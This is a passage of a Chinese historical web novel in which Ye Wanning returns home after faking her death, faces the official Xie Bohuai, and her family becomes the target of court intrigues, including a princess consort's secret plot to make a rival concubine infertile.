叶婉宁同样不知从何说起,面对家人,她有太多的愧疚,当初是她自私走人,现在又是她回来寻求庇佑。 她都不敢面对哥哥嫂嫂们。 天色已晚,姜姒抱住叶婉宁,“这些年,我们天天都在念叨你,还把别人认成了你。你都不知道,为了你的事,你哥哥还和谢泊淮打架。家里这些年,提到你都只剩叹气,婉宁啊婉宁,你怎么才回来?” 叶婉宁一时无言,这时大哥哥和大嫂也来了,他们看到叶婉宁是同样的惊讶,林氏直接腿软,被身边的丫鬟扶住。 叶明德更是看着叶婉宁,狠狠掐了一把自己的大腿,确认不是幻觉后,他浑身发颤,半天说不出话来。 谁都没想过,死了的人能复生,所以这会都还处在震惊中。 林氏缓了好一会儿,才过来摸摸叶婉宁的脸,又拉着她的手,“婉宁,你……”话到嘴边,林氏就是说不出来,她捂着嘴哭,还是叶婉宁抱住了她。 “对不起大嫂,是我回来迟了。”叶婉宁很抱歉。 “回来就好,你还活着就好,天底下怎么会有那么好的事,你竟然活着回来了。”林氏笑中带泪,“婉宁你瘦了,怎么憔悴了那么多?” “我还好,倒是你们,才是年纪见长。”叶婉宁心疼地看着家人们。不用想都知道,他们这几年吃了不少苦,肯定为了她的事,没少落泪。 他们站在院子里,直到一阵疾风吹落积雪,叶明德才道去老太太院子说话,别站在这里受冻了。 已经有人去给叶老夫人传话,叶老夫人是知道叶婉宁没死的,但是当年叶婉宁离开得那么坚定,现在又回来,必然是遇到解决不了的难处,她眉心紧皱,焦虑地看着门的方向。 等门帘被打开,叶老夫人看到久违的面孔,抽噎着问,“你是我的婉宁?” “孙女不孝,让祖母担心了。”叶婉宁跪下磕头,云芝也抱着乐哥儿跪下。 乐哥儿看着四周陌生的一切,明显地害怕,紧紧拉着云芝的衣袖,把头埋在云芝怀里。 而大家也注意到乐哥儿,只是方才没空问。 现在叶婉宁回来了,林氏让屋内丫鬟婆子都退出去,叶婉宁也让云芝带着乐哥儿去侧屋吃东西。 屋内没了其他人,在家修行的叶婉华才姗姗来迟,看到叶婉宁又是一阵痛哭,等她平复情绪后,林氏才开口问,“婉宁,这些年你都经历什么了,刚刚那个孩子,和你是什么关系?” 第127章 算账 林氏问出来大家心中的问题,所有人都静静地看着叶婉宁。 叶婉宁拿出准备好的说辞,“我与云芝被一户人家所救,因为实在远,云芝又受了伤,我又被那家哥儿背过,见他人品周正,便与他成亲。原想着等一切安稳了,就派人送信来京城,结果那家人来了仇家,一路追杀,最后只剩下我们孤儿寡母。春喜是半路我救的,这三年颠沛流离,一直不得安稳。” “那你为何不早点来京城呢?”叶明岳问。 叶婉宁叹气道,“因为仇家一直在找我们,前些日子,我们就被找到了,不敢轻易出现。这次还是冒险来京城,我和云芝分开走,都做好了有一方到不了京城的准备。” 不是不能说实话,而是乐哥儿的身世,实在是不好让家里人知道。知道了,只会给他们带来麻烦。倒不如就这样,让他们觉得合情合理一点。 叶明德眉头紧皱,“到底是什么样的仇家,竟然如此大胆?” “都是祖上的恩怨,我也不太清楚。”叶婉宁道。 “那现在呢?他们在哪?”叶明德想着知道了对方的身份,他就能出手帮妹妹。 但他刚问,叶老夫人就开了口,“过去的事就过去了,婉宁以前是隐姓埋名,既然她来了京城,就不要再去追问过去的事。她能回来就是最好的事,你们也别想着报仇,不然冤冤相报何时了?” 有叶老夫人开口,其他人才发现不该再追问。 姜姒体贴地道,“是啊,婉宁奔波劳累,应该先休息才是。今天不早了,咱们先回去吧。婉宁你住的院子还空着,我已经让人去收拾了,你们今晚先应付一下,明日我再让人送其他的去。” “多谢哥哥嫂嫂还肯接纳我。”叶婉宁给哥嫂们行礼跪下。 林氏忙过来扶起叶婉宁,“妹妹快起来吧,我们是一家人,能看到你平安归来,就是最高兴的事。这三年来,我时常想到你,总算是老天有眼,竟然让我们一家子团聚。” “多谢大嫂。”叶婉宁今天确实累了,折腾了一整天,现在乏得很。 出了德容苑,叶家人其实还想和叶婉宁多说说话,但都怕影响叶婉宁休息,都忍下了话。 各自散开后,林氏和姜姒还是愣愣的,两个人回去的路上,都说不出话来。 姜姒和叶明岳回到二房,叶明岳都坐不住,“明儿一早我,我就去祖坟那里,把那不吉利的给送走。” “那你也得把人好好安葬了,别伤了婉宁的阴德。”姜姒道。 “我晓得,我又不是以前毛毛躁躁,现在我知道的。”叶明岳道,“我是真没想到,婉宁能活着回来,这真是老天爷保佑,才给我们家团聚的机会。” “是啊,婉宁回来了,我心里欢喜的。只是谢泊淮那里……”姜姒顿住了,三年前谢泊淮去挖坟,所有人都知道,现在婉宁回来,谢泊淮会不会求娶婉宁? 若是谢泊淮来提亲,他们家该如何是好? 现在谢泊淮的名声,那是臭得不能再臭,几乎得罪了京城所有权贵,他们和谢泊淮成姻亲,若是谢泊淮落败了,叶家能接住这个后果吗? 叶明岳很快明白姜姒的担忧,“我会去找谢泊淮一趟,问问他的意思。不过婉宁不愿意,他再厉害也没用,我们家绝对不逼着婉宁讨好权贵!” “那是自然,她已经嫁过人了,心里肯定难受着,咱们不能逼她。”姜姒和叶明岳说着叶婉宁的事,殊不知,叶婉宁刚进屋,就看到屋里坐着的一个人影。 叶婉宁心头猛颤,“谢……谢大人?” 她心中暗道完了,这是来找她算账了。 谁让她骗了他。 第128章 很高兴你回来 叶婉宁想都没想,就把春喜她们推出去,让她们快去休息。 她心头猛跳,都不敢走过去。 屋内烛光昏黄,叶婉宁看不清谢泊淮的神情,但不用多想,都知道是麻烦来了。 “谢大人,您怎么来了?”见谢泊淮一直不说话,她只能再问了一句。 “叶婉宁,你为什么不回来?”谢泊淮反问。 “大人,我肯定是有我的苦衷。”叶婉宁说了和家人的那套说辞,“之前路上遇到您,我的脸还好,我并不知道您是什么态度,您别生气好吗?” 软塌上,谢泊淮的肩头动了动,叶婉宁不知他是笑,还是被气到了。 “那会儿我也是把希望寄托在您身上,您也看到了,破庙那会的事,时不时就有,我实在是艰难。您大人不计小人过,别和我计较了,只当没看过我。”叶婉宁恳求道。 “谁要杀你?” “什么?” “我说谁在追杀你?” 黑暗中,谢泊淮听到叶婉宁已经另嫁他人,还生了孩子,他的指甲扣进掌心,手背青筋暴起,一字一句地问,“是谁要杀你?” 叶婉宁以为谢泊淮要去证实,赶忙道,“我祖母说,过去我是隐姓埋名,以前的事就过去了,不要再追查了。” “他们杀你夫君,你却不报仇?”谢泊淮从黑暗中走出来,随着他每走一步,叶婉宁的心就快一些,直到叶婉宁后背抵靠在门上,谢泊淮看出叶婉宁眼中的害怕,才停下,“叶婉宁,你什么时候,变得那么贪生怕死了?” “大人,如果您战战兢兢地过了三年,您也会变了的。就当是我求您了,别管我的事了行不行?我和您道歉,是我不好,我不该在破庙时没立马交代身份,求您高抬贵手,放过我吧。”叶婉宁恳求地说完,就要给谢泊淮跪下了。 却被谢泊淮的剑柄抬着胳膊。 谢泊淮突然自嘲地笑了一下,原来他做了那么多,她竟然还是怕他,提防他? 隆玉公主说得对,他就是个木头脑袋,活该有现在的结局。 屋内静了下来,叶婉宁的一颗心提到了嗓子眼,她不知道谢泊淮是什么心态,也想不明白。 直到谢泊淮重重地说了一个“好”字,叶婉宁才抬头悄悄看过去,“您真的不追查了?” “嗯,不查了。”谢泊淮道。 清冷的月光洒在谢泊淮的脸上,显得他有些苍白。 得到谢泊淮肯定的答复,叶婉宁才敢松口气,“今儿也多谢您出手相助,那个裴许实在是麻烦,如果不是您,我怕是要在街上就被大家认出来,回京城的路上,我也听说了一些事,这些年您应该是不容易的,虽说您现在手握重权,不过还是小心一些,不好处处与人为敌的。” “那你知道,我为何要处处与人为敌吗?” “不知道。” “因为过去三年,我每时每刻都想死。可是他们太没用了,没一个人能杀了我。”说着疯子一样的话,谢泊淮却是一种苍凉的口吻,他让叶婉宁让开,临走之前,又留下一句话: “叶婉宁,很高兴你回来了。” 第129章 成王府 高兴? 叶婉宁真看不出谢泊淮的高兴,看着谢泊淮就这么走了,她后背已经汗涔涔的,这会儿,一点困意都没了。 过了会,云芝过来,说乐哥儿已经睡下了,问刚刚屋里是不是有人。 “是谢泊淮,云芝你说,怎么处处都有他?”叶婉宁捂着胸口,“我就想普普通通活着,怎么就那么难?” “谢大人?他是为了之前破庙的事吗?” “或许吧,我也不清楚,走一步看一步吧。”叶婉宁想不明白,也只能这样了,“明儿起,京城里肯定会因为我的事,掀起诸多流言蜚语。你和春喜一定要看好乐哥儿,这段日子,还是让他别露面的好。” “嗯,我一定看好乐哥儿。”云芝想到以后,不由担心了起来。 事实上,正如叶婉宁说的一样,她没死的事,很快成了京城里的话题点。 特别是,有人想到了当年谢泊淮开叶婉宁棺椁的事。 这边叶家派人去通知隆玉公主和亲戚,成王那里已经收到了裴许的尸体。 裴侧妃看到哥哥的尸体,当即晕了过去,她这次怀孕,身子本就不好,这一下,竟然小产没保住孩子。 “王爷,他们说我的孩子没了,是真的吗?”裴侧妃刚醒来,拉着成王的手,哭得伤心欲绝。 “你别难过,我们以后还会有孩子的。”成王看爱妃哭得上气不接下去,心疼极了。 孩子是还有机会,可是裴许人死不能复生,裴侧妃想到哥哥和孩子,眼光中闪过一抹毒辣,“谢泊淮真该死,王爷您一定要为了我们的孩子报仇啊!” 成王至今只有女儿,没有儿子,心里一直盼着能有个儿子。在大夫把脉时,就说裴侧妃这一胎很可能是儿子,想到儿子没了,成王也是恨极了谢泊淮。 “你放心,我一定会给你和裴许一个交代。”成王搂着爱妃。 裴侧妃出身一般,父亲只是个七品小官,她母亲非常善妒,这些年父亲房里一个妾室都没有,只有她和哥哥妹妹三个孩子。现在哥哥死了,裴家没了男丁,她不敢想父亲母亲会多奔溃。 而且以母亲的年岁,怕是不能再生养了,这让母亲如何自处? 她是越想越恨,靠在成王怀里哭了许久,才昏睡过去。 等成王从屋里出来时,就看到一直候在门口的谢令娴。 刚和谢令娴成亲时,成王是冲着谢家的门第去,觉得谢家有谢泊淮在,还有过去百年的积累,肯定能助他一臂之力。 不曾想,谢泊淮竟然和谢家断绝关系。 而谢家没了谢泊淮,他那个岳父又是个一般的,只会和谢家二房争来斗去,一点长进都没有。 加上谢令娴只生了一个女儿,这几年成王对谢令娴便没了宠爱,只有表面功夫。 想到裴侧妃的孩子是因为谢泊淮没了,这会看到谢令娴,成王没有好语气,“现在你高兴了,裴侧妃没了孩子,你不用担心庶长子了?” 谢令娴惶恐地低着头,“王爷怎么能这样说,妹妹们生的孩子都要喊我母亲,我自然希望她们能早点为您开枝散叶。毕竟我自己没本事,不能替您生下儿子,三叔这个事,我也是无法预料的,您也知道,他已经和裴家断绝关系了。” “谁知道你们是真的断,还是假的断。怕不是谢泊淮为了不连累你们,才故意这么做的吧?”说到谢泊淮,成王一肚子怨气,又奈何不了谢泊淮,只能向让人撒气。 谢令娴觉得冤枉极了,她三叔都快杀了她祖母,怎么可能是假的? 只是她想解释一下,成王不肯听她再说话了。 看着成王离开的背影,谢令娴神色伤感,却还是亲自去了药房,仔细交代,“裴侧妃的药一定要小心再小心,你们得把她伺候好了,不然要你们好看!” 药房里的人都感慨王妃人好,裴侧妃平常没少仗着宠爱抢东西,现在王妃还让他们仔细伺候。 等谢令娴走后,她也请了刚刚给裴侧妃看的大夫过来把脉,“大夫,我的身子如何,再怀孕没问题吧?” “回王妃娘娘,您身子康健,只要平心静气,总能有孕的。”大夫道。 “那裴侧妃呢?” “您放心,有老夫在,她这辈子都会和子嗣无缘。”大夫是王妃的人,所以在裴侧妃调养的单子里加了药材,会伤到裴侧妃根本。就算日后查起来也不怕,就说裴侧妃小产后留下来的病根。 谢令娴听了满意地点头,“你干得不错,这着银子你拿去补贴家用。这个事不可与任何人说,记住了吗?” “回娘娘,记住了。” 在谢令娴自己没有嫡子之前,她不会允许有庶子出生,她早就让人给裴侧妃的补汤动了手脚,裴侧妃才会那么容易落胎。 还好这次有谢泊淮出手,才不会让王爷怀疑有鬼。 不过父亲那,她得回去敲打一下,王爷正是关键的时候,别总和二叔置气。 在谢令娴出门时,成王也派人出门,“那个叶婉宁不是活了么,既然她是谢泊淮的心肝宝贝,那就从她下手吧,去盯着她,找个机会把她给扒光丢街上去。” “可是王爷,这样会不会激怒谢泊淮?”小厮还是害怕谢泊淮的。 成王想说,谢泊淮总不会为了一个女人杀了他,但是想到已经死了的叛王,他又心有余悸,“谢泊淮就是个疯子,你提醒了我,确实不该是我们冻手。你去我六哥那里走一趟,想找谢泊淮不痛快的人太多了。” 确实是这样,京城那些人得知叶婉宁没死,好多人都盯上了叶家。 不过大家都不敢明着动手,之前他们惧怕谢泊淮,现在还是害怕,聪明点的人,都在等忍不住的人先出手。 而羲和郡主得知叶婉宁回来了,迫不及待地跑来叶家,等看到真的活着的叶婉宁,她狠狠掐了自己一下,“真是你,我没有做梦!” 第130章 阮家 羲和郡主搂着叶婉宁不放,“一开始我还以为他们骗我,没想到真是你。既然你活着,怎么不回来啊?” 她说着都哭了。 叶婉宁还是那一套话,“郡主,您近来可好?” “总是比你要好的。”羲和郡主看着死而复生的叶婉宁,又想到叶婉宁这几年的心酸,心疼得很,“我真是想死你了,你是不知道,这几年京城发生了多少事。说个你熟悉的,宁安她现在过得可不好。” 叶婉宁问怎么了? “她去和亲了。”过去羲和郡主与宁安郡主总是吵架,直到宁安被送去和亲,她才哭着舍不得。 先太子被废,好些人都因此被牵连,本来先太子一脉都要被囚,还是宁安郡主自请和亲,这才让皇太孙等人活下来。 和亲的事,叶婉宁确实不知道,她住在离京城十万八千里远的地方,消息没那么好。 “我有偷偷给她写过信,却被我哥哥拦了下来,他说我们不好与永宁来往,不然会被其他皇叔拿捏到把柄。”羲和郡主眉头紧皱,“我就不懂了,皇位到底有什么好的,这些人争来争去,最后还不是要便宜谢泊淮?” 在羲和郡主看来,就算是皇爷爷写了诏书,那谁知道是不是皇爷爷写的,还不都是谢泊淮说了算。 叶婉宁听羲和郡主说着大胆的话,把人拉到屋内,“你呀你,怎么还是那么口无遮拦?” “有什么好怕的,我说的都是事实,天底下的事都是谢泊淮说了算,其他人都插不上话。”羲和郡主喝了一碗茶,婚后她丰腴了一些,一只手撑着脸时,肉嘟嘟的,“你都不知道,这些年,谢泊淮在京城里横行霸道,那叫一个狠辣。” “行了,别说他的事了,说说你的,你嫁到了谁家?”叶婉宁问。 按年纪,羲和郡主确实婚嫁了,她说嫁给一个普普通通的小官,“我父王说我脑子不够好用,嫁到权贵人家,过不了那种勾心斗角的日子。所以给我挑了一家简单的人家,阮家人口简单,没有庶出子女,他们家也低调,平常你都没听过吧?” 叶婉宁想了想,没具体印象,但知道有这么一户人家。 其实她也赞同端王的说法,羲和郡主确实不适合太复杂的人家,“那你婚后,还好吗?” “一开始还可以,因为我是郡主,婆家人都敬着我。但日子久了,我一直没有孕,我婆母就有意见了,偷偷给我夫君塞了丫鬟伺候,还以为我不知道。”羲和郡主撇了撇嘴。 “你和他们闹了?” “没有,你真当我还是以前,蛮蛮撞撞,不怕闯祸啊?”羲和郡主的眼中闪过一抹落寞,“我没和他们闹,真闹起来,父王和哥哥肯定会为我撑腰。可我没怀孕是事实,他们护得了一时,护不了一世,倒不如让那丫鬟去生,反正我又不喜欢那刻板无趣的书呆子。” 说到这里,羲和郡主已经快哭了。 她到底还是以前那样,藏不住太多心事。 叶婉宁替羲和郡主擦了擦眼泪,“你可请过郎中?” “母妃替我请了,说我没问题。”羲和郡主道。 “你夫君呢?”叶婉宁道,“有时候,可能是男子的问题。” 羲和郡主摇头,“他应该没问题吧?” “不一定,世人只会把这种问题归咎于女子,说不定是男人有问题。我问你,那丫鬟去伺候多久了?” “有半年左右了。” “那就是了,半年了,你没怀孕,她也没有。”叶婉宁不明说,羲和郡主也听明白了。原以为羲和郡主会替夫君担忧,结果羲和郡主哈哈笑了起来。 “这几年,我都想着是不是我的问题,在他们阮家,我都忍了又忍。真要是我夫君的问题,那我要他跪着给我洗脚!”羲和郡主想到就解气,这就准备回去,却被叶婉宁拉住。 看羲和郡主还是那么风风火火,叶婉宁都无奈了,“你贸然回去,阮家为了面子,也不会同意的。” “那你说怎么办?”羲和郡主迫不及待地追问。 “倒不如让他生点小病,就可以名正言顺地请大夫。” “确实啊,还是你厉害。以前我就觉得你的脑子好用,现在还得靠你。”羲和郡主抱住叶婉宁,她跑到了门口,又突然回来,“对了,前面说到谢泊淮,你对他是什么想法?” 叶婉宁不解地看着羲和郡主,“他和我又没关系,你怎么会这样问?” 在家里人提到谢泊淮时,叶婉宁发现他们都会多看自己两眼,她心里觉得怪怪的,但又不懂哪里奇怪。 现在听羲和郡主这么问,不由多问两句,“他怎么了吗?” “原来你不知道啊?”羲和郡主啧了一声,“这么重要的事,竟然没人和你说。刚刚我就想说的,你硬是把话题给绕开了。” 第131章 无媒苟合 叶婉宁以为自己听错了,让羲和郡主再说一遍。 “我说,之前你下葬时,谢泊淮曾发了疯地挖开坟墓,要开你棺椁。你二哥为了这个事,才和他闹掰的。京城的人都说,你是他心上人,他不是对人说自己有心上人。这么大的事,叶家没人和你说吗?”羲和郡主当时就没想明白,谢泊淮什么时候喜欢的叶婉宁? 但如果不喜欢,干嘛非要开棺椁验证? 谢泊淮和叶婉宁又没有深仇大恨。 不是恨,那就是喜欢了呗。 可要是说喜欢,羲和郡主是一点都看不出来,谢泊淮那个臭脾气,就不见他对叶婉宁有多好。 叶婉宁摇头说没有,她还是第一次听到,谢泊淮心悦她才开棺椁,“谢泊淮真这样干了?” “当然,我亲眼看到的。”羲和郡主道。 “怎么会呢?他不可能喜欢我的啊!”叶婉宁就没感觉到谢泊淮的喜欢,“他……他会不会是别的原因?” 羲和郡主摇头说不知道,“没人敢去问谢泊淮,我是不知道他在想什么,要不你自己去问问?” 想到谢泊淮的样子,叶婉宁不由打了个寒颤,她确实想知道个答案,却又没这个胆子去问谢泊淮。 “看你也是不敢,这种事,只有他自己知道。”羲和郡主说着,想到叶婉宁已经见过谢泊淮,“对啊,昨日他城门帮了你,有说什么吗?” 叶婉宁说没有,“就是很意外。” “他真奇怪,也太变扭了吧。如果真喜欢你,现在来提亲就好了,如果再扭扭捏捏什么都不说,以后又没机会了。”羲和郡主向来有话说话,不会藏着掖着。 而叶婉宁想到谢泊淮来提亲,心里就发怵,还是算了吧,有些事她也可以不知道。 对于乐哥儿的事,叶婉宁没提,她并不想太多人关注到乐哥儿身上。 现在京城都在说她的事,如果让人知道她还有了孩子,这些人难免会盯着乐哥儿说三道四。 为人母后,才更加费心活着。 叶婉宁和羲和郡主待了半日,到了下午,公主府来了人,说隆玉公主明日会进城看叶婉宁。 “若不是殿下身子不好,不能快马加鞭赶路,这会儿已经到了。您能回来,真的是太好了。”小太监说着好话,叶家人欢喜地留人吃茶。 这一天下来,叶家人都围绕在叶婉宁身边,他们也知道外面人开始议论纷纷,但作为家人,都不会在叶婉宁年前提到这个事。 直到叶家二房跑来了,叶显荣和李氏知道叶婉宁还活着,急匆匆跑来。 李氏还没进老夫人的院子,就开始哭嚎,“我的老天爷啊,怎么会有这种事?母亲,这是真的假的,外边人说得可玄乎了!” 叶老夫人没好气地道,“我还没聋呢,你这样疯疯癫癫地跑来,别人怎么看?” “都到了这个时候,我哪里顾得上啊!”李氏心急如焚,“婉宁真没死?” “嗯,人好好的。”叶老夫人说完,边上的嬷嬷补充了细节。 李氏听叶婉宁和人生了孩子,当即笑不出来,“那她这不是和人无媒苟合吗?” “说什么呢你?”叶老夫人不爱听李氏说话,“不会说话就一边去,我这里不需要你一惊一乍的。” 被老夫人这么说,李氏心情不好,撇嘴道,“我说的是事实,外边人说婉宁是不是水鬼附身,其实已经死了。母亲,咱们找个道士来看看吧?” 第132章 外露 “我看你才要找道士!”叶老夫人被小儿媳气得不轻,“你是想没事找事是吧?” 李氏委屈了,“哪里是我没事找事,您都不知道,外边人说得多难听。说婉宁是从墓里爬出来,什么女鬼附身,我们叶家会什么巫蛊,以后得离我们家远一点,千万不能和我们沾边。这些年,您就偏心大房,是,我们二房是没本事,可是您也用不着那么看人头吧?” 边上的叶显荣也说了句是,叶老夫人当即摔了茶盏。 “是我偏心吗?老大死了之后,你们对我有过关心吗?你们只知道趋炎附势,谁厉害了去巴结谁,谁倒霉了立马跑得远远的。”叶老夫人越说越气,激动地拍着桌子,“说我偏心,怎么不问问你们自己,这些年都干了什么?” 李氏不觉得自己做错什么,“母亲何必这样说,以前大房落魄,我们二房也好不到哪里去,怎么帮扶呢?” 叶显荣拉了下李氏的胳膊,李氏却不管了,“这次婉宁的事,实在是不好听,您总要为整个叶家想想吧?” “滚,你们都给我滚!”叶老夫人吼了一句。 李氏还要说什么时,叶老夫人突然晕了过去。 这下子,李氏才感到害怕,若是叶老夫人有个好歹,她就要落个气死婆母的名声,不仅要被休妻,往后也活不成了。 王嬷嬷赶紧让人去喊大夫,等大夫来了,叶婉宁也来了。 知道怎么回事之后,叶婉宁看向李氏时,面色黑沉,拽住了李氏的手,“二婶何必请道士,我现在就站在你面前,你自个儿来摸摸,我是活的还是死的?” 她步步紧逼,李氏步步后退。 看到叶婉宁就在眼前,李氏心里怕极了,“你……你干什么,我可是你二婶,懂不懂尊卑?” “是我不懂,还是二婶你不懂?”叶婉宁加重语气,“明知道祖母身子不好,你还来和祖母吵架,是想把昨天气出个好歹来吗?” 说到叶老夫人气晕了的事,李氏心虚了,“我……” “你什么你?”叶婉宁松开李氏,“你也说了,咱们都是叶家人,如果我有个不好的名声,你们二房也好不到里去。二婶最好记着这一点,在外边不要乱说话,不然你想一想你自己做过什么!” 叶显荣看不下去,“婉宁,你二婶好歹是长辈,你怎么能这样说话?” “我不这样说话,该怎么说话?二叔你自己拍着胸膛说说,这些年,你对祖母有过照顾吗?如果没有的话,就不要指手画脚。大房已经和你们二房分家,如果你们非要说点不讨人喜欢的话,以后就别来了。”叶婉宁当即下了逐客令。 赶来的林氏和姜姒听得一愣一愣的,以前他们就知道厉害,可以前叶婉宁的手段是内敛的,不会那么外露。 看二房夫妇不敢说话了,姜姒心里爽快,劝了句,“婉宁别说了,我们去看看祖母。” 叶婉宁的目光从二房两口子身上扫过,这才跟着嫂嫂们进屋,询问祖母的情况。 第133章 巴结 叶老夫人才醒过来,大夫说没大事,就是不能再气着了。 门口的李氏听到这个话,松了一口气,她可不想有个气死婆母的名声。 看着屋内都是大房的人,没人来宽慰自己一句,李氏愤愤走了。 叶显荣进去看了一眼,但叶老夫人这会不想看到他,就让他出去。 出了叶府,叶显荣在马车上训斥李氏,“你干嘛和老夫人顶嘴?你是嫌弃自己活太久了吗?” “我这不是没忍住,而且我说的是事实啊,大哥大嫂在的时候,老夫人就更疼他们。轮到你这个老二,老夫人何时关心过你的前程?”李氏对婆母有诸多的怨言,“当年你明明有机会升迁,只需要拿出一千两银子孝敬上司就行,结果老夫人非说没钱,还说什么靠本事才行。她也不想想,京城里做官的人那么多,有几个是清清白白的?” 为了这个事,李氏记恨了婆母半辈子。 叶显荣同样有怨气,“我这辈子就这样了,明轩不能和我一样。” 他们就一个儿子,一定要让儿子有出息。奈何儿子一直没中举,他们夫妇为了这个事,不知道找了多少人,也不能替儿子找到一个名师。 “我儿子肯定要出人头地的,他一定会比叶明德厉害,叶明岳那个不清楚的,非要去经商,你看看他现在的样子,一身的铜臭味。”嘴上这么说,李氏其实是埋怨叶明岳不肯孝敬他们钱财。明明大房日子越来越好,却不肯提拔一下他们二房。 “明岳确实走了歪路,他们这些做小辈的,你想怎么骂都可以。但是以后对母亲,切记不能这样了,不然你知道后果的。”叶显荣刚说完,马车突然撞上一个东西,不悦地往外看去,“谁啊……成……成王殿下?” 夫妇俩赶忙下马车,准备行礼时,成王说不必多礼。 “是我的马车坏了,不小心撞到你们,你们没事吧?”成王问。 “没事没事,我们都好着,您没事吧?”叶显荣心里捏了把汗,成王这样的人物,平常他连说话都够不到。现在就怕成王不高兴。 听成王说他没事,还好语气地让他们离开,叶显荣才松了一口气,心想成王人不错,竟然没有为难他们。 他虽有心巴结权贵,奈何真见到权贵,舌头就像打了结,半天说不出来话,最后还是李氏拽了拽他的衣袖,这才上马车走了。 等回到家里,叶显荣才懊恼自己不争气,“方才我就应该多说两句的。” “现在后悔有什么用,都来不及了。”李氏说完,突然想到还可以送东西去道歉,拉着叶显荣道,“咱们可以上门去啊,如果成王愿意见你,那就是有机会。如果不见,把东西留下,以后说不定也是个机缘!” 叶显荣点头说是,让李氏找出家里最宝贝的玉佩,他要亲自去成王府道歉。 这边叶显荣忙着巴结成王,叶明岳的胭脂铺子被人砸了,说是他们家的胭脂,把人脸给涂坏了,那户人家要去报官。 店小二火急火燎来传话,“我们说会查清楚,若是真有问题,我们一定会赔偿。但他们就是不听解释,把铺子砸了个乱七八糟,又带着掌柜的去报官。” 听到这话,叶明岳赶忙去处理。他的铺子,从没出过这种事,他心里不由有个不好的预感。 叶家人也为此担心起来,一直到天黑了都没等到叶明岳回来,派出去的人过了许久才回来传话,说点心铺子吃死了人,衙门那扣下叶明岳了。 第134章 他应该是喜欢你的 “怎么会这样?”姜姒已经哭过一回了,现在眼睛红红的,她让人回娘家帮忙打听,这会焦虑得坐不住。 林氏也觉得奇怪,“二爷这几年小心翼翼,为了不引人注目,很多铺子他都不出面了。大爷已经出去打听了,你坐下缓缓吧,明儿指不定要应对更多事。” 姜姒说她坐不住,叶婉宁过来拉着她坐下,“我也派人去公主府了,不管怎么样,京兆尹那里,总要给公主三分薄面。二嫂得顾好身子,咱们没做伤天害理的事,不必心虚。” “可是……”姜姒叹了口气,最后还没把话说出来,转而道,“道理我都懂,我会劝好自己,天色不早,你们快回去休息吧。” 叶婉宁和林氏又宽慰了几句,两个人才一起出了二房。 回去的路上,风刀冷冽,叶婉宁的手不知何时变得冰凉,“大嫂,你说会不会有人在针对我们家?” 林氏心中也有这种想法,但她不好和叶婉宁说,让叶婉宁别多心,回去之后,见叶明德回来了,赶忙问怎么样了。 叶明德眉头紧皱,“不太好,胭脂铺子的事算不上什么,但点心吃死了人,对方寸步不让,怎么都不肯听我们解释。我觉得,是有人在背后搞鬼。” “我猜也是这样,以前都好好的,这次是不是冲着谢泊淮去的?”林氏做主母多年,渐渐地熟悉了高门大户的这些手段。 叶明德长叹了一声,“婉宁回来了,大家都知道当年谢泊淮干的事,折腾不了谢泊淮,只能来弄我们叶家。这次的事,多半是这样。不过你别担心,咱们身正不怕影子斜,我叶明德也不是吃素的。” 他已经花钱打点了,免得弟弟在衙门吃皮肉之苦,剩下的,他明天会去查。 次日一早,叶明德就带着人出门去了。 同样的,叶婉宁去城门口接了隆玉公主的马车,说了自家二哥的事。 隆玉公主得知叶婉宁已经知道谢泊淮开棺的事,语重心长地问,“那你呢,你觉得谢泊淮是什么意思?” 她之前没说这个事,就是觉得叶婉宁刚回来,很多事要想,就先不扰乱叶婉宁的思绪。 叶婉宁说想不到,“若说喜欢,我也看不出谢泊淮哪里喜欢。可要是说别的,我也没让他恨之入骨到来开棺。义母,有时候当局者迷,旁观者清,您能看出他的意思吧?” “他应该是喜欢你的。”隆玉公主给了个肯定的答案。 听到这句话,叶婉宁愣了愣,第一反应是逃避。 “不然本宫也给不出其他的解释。婉宁,你若是真想要个答案,不如亲自去问问他。”隆玉公主拉住叶婉宁的手,“你二哥哥的事,本宫会出面解决,就算别人是冲着谢泊淮去的,本宫也会让他们知道,得罪谢泊淮的后果可怕,得罪本宫一样让他们后悔。至于谢泊淮那里,你想怎么做都可以,不需要考虑太多。” 叶婉宁此刻脑中,只有隆玉公主那句──他应该是喜欢你的。 到底是从哪里来的喜欢呢? 第135章 吃错药 叶婉宁跟着去了公主府,小半天的功夫,江嬷嬷就回来说叶二爷已经归家了。 “归家就好。”隆玉公主喝着茶。 “这个事,是敬王那边出手,您看要怎么处理?”江嬷嬷问完,又去看叶婉宁。 隆玉公主也看向叶婉宁,这个事要怎么做,还得看叶婉宁怎么想。 听到是敬王,叶婉宁头更疼了,怎么又牵扯到了敬王? “义母,这个事……”叶婉宁看着义母,好半天说不出话来。 “叶家有本宫看顾着,他们暂时不敢怎么样。”隆玉公主道,“不过敬王这个事,多半是为了京城里的那些流言,冲着谢泊淮去的。叶家的这个困局有,要么你嫁给谢泊淮,要么谢泊淮另外娶妻,不然难解。” 等皇上一驾崩,隆玉公主的话也就不管用了。到时候谁还能护着叶家? 也就是说,这个困局,不好解。 叶婉宁拧紧了帕子,思绪颇乱,“我……我不想嫁给他。” “那就让谢泊淮另外娶妻。”隆玉公主看着叶婉宁娇弱的脸,“你当真,对谢泊淮没有一丝丝想法吗?” 叶婉宁愣了下,随后摇摇头,“与周钰退婚后,男人是个什么样,我看得清清楚楚。都说嫁汉穿衣,可遇到个不好的,咱们也只能忍着过。若说是和离,哪里有那么容易?” 娘家不一定容得下,自个儿又立不了门户,妇道人家去抛头露面做生意,更会被人欺负。 什么样的富贵日子,都不如自己安安稳稳的自在。 嫁给谢泊淮,要面对满京城的明枪暗箭,还有谢家那一大家子,日子哪里是好过的? 情爱这件事,在叶婉宁这里已经不重要了。 她只想后半辈子安稳一点,无波无澜就行。 但现在看来,并不容易。 “你说得有道理,确实是这么一回事,男人都是靠不住的。”隆玉公主心疼地搂住叶婉宁,“谢泊淮单着那么多年,也该娶妻了。” 这边隆玉公主安抚着叶婉宁,另一边的敬王气了个半死,他把屋内的茶盏都摔了。 成王来的时候,敬王还在骂人,“我动不得谢泊淮,怎么连个小小的叶明岳都不行?” “皇兄何必动那么大的火气,皇姐又不能一直拿捏着你,咱们来日方长。”成王道。 “她一个寡妇,仗着和亲那点事,在我面前耀武扬威,真是不懂天高地厚。往后哪个兄弟上位,她都没好果子吃!”敬王说着,就说出大逆不道的话,却没意识到自己说的不对。 成王却没接这个话,而是让敬王不要太生气,可敬王这个人不听劝,别人越说什么,他就越不信。 “有什么好怕的,我这就进宫去,我还不信,他们真能拦着我不成?”敬王说着,就进宫了。 等他到仁政殿门口,才得知谢泊淮在里边。 